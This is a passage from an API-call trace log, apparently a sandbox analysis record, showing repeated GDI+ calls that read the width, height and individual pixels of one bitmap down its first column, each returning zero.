(bitmap=0x4d97af8, x=0, y=15, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=16, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=17, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=18, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=19, color=0x636e0f0) returned 0x0 [0224.967] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=20, color=0x636e0f0) returned 0x0 [0224.967] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=21, color=0x636e0f0) returned 0x0 [0224.967] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=22, color=0x636e0f0) returned 0x0 [0224.967] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=23, color=0x636e0f0) returned 0x0 [0224.967] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=24, color=0x636e0f0) returned 0x0 [0224.967] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=25, color=0x636e0f0) returned 0x0 [0224.967] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=26, color=0x636e0f0) returned 0x0 [0224.967] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.967] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.967] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=27, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.968] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.968] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=28, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.968] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.968] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=29, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.968] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.968] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=30, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.968] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.968] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=31, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.968] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.968] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=32, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.968] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.968] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=33, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.968] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.968] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=34, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.968] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.968] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=35, color=0x636e0f0) returned 0x0 [0224.968] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=36, color=0x636e0f0) returned 0x0 [0224.969] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=37, color=0x636e0f0) returned 0x0 [0224.969] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=38, color=0x636e0f0) returned 0x0 [0224.969] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=39, color=0x636e0f0) returned 0x0 [0224.969] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=40, color=0x636e0f0) returned 0x0 [0224.969] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=41, color=0x636e0f0) returned 0x0 [0224.969] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=42, color=0x636e0f0) returned 0x0 [0224.969] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=43, color=0x636e0f0) returned 0x0 [0224.969] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.969] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.969] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=44, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=45, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=46, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=47, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=48, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=49, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=50, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=51, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=52, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.970] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.970] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=53, color=0x636e0f0) returned 0x0 [0224.970] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=54, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=55, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=56, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=57, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=58, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=59, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=60, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=61, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.971] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=62, color=0x636e0f0) returned 0x0 [0224.971] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.971] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=63, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=64, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=65, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=66, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=67, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=68, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=69, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=70, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.972] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=71, color=0x636e0f0) returned 0x0 [0224.972] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.972] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=72, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=73, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=74, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=75, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=76, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=77, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=78, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=79, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=80, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.973] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=81, color=0x636e0f0) returned 0x0 [0224.973] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.973] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=82, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=83, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=84, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=85, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=86, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=87, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=88, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=89, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=90, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=91, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.974] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.974] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=92, color=0x636e0f0) returned 0x0 [0224.974] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=93, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=94, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=95, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=96, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=97, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=98, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=99, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=100, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=101, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=102, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=103, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.975] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.975] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=104, color=0x636e0f0) returned 0x0 [0224.975] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=105, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=106, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=107, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=108, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=109, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=110, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=111, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=112, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=113, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=114, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=115, color=0x636e0f0) returned 0x0 [0224.976] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.976] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.976] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=116, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=117, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=118, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth 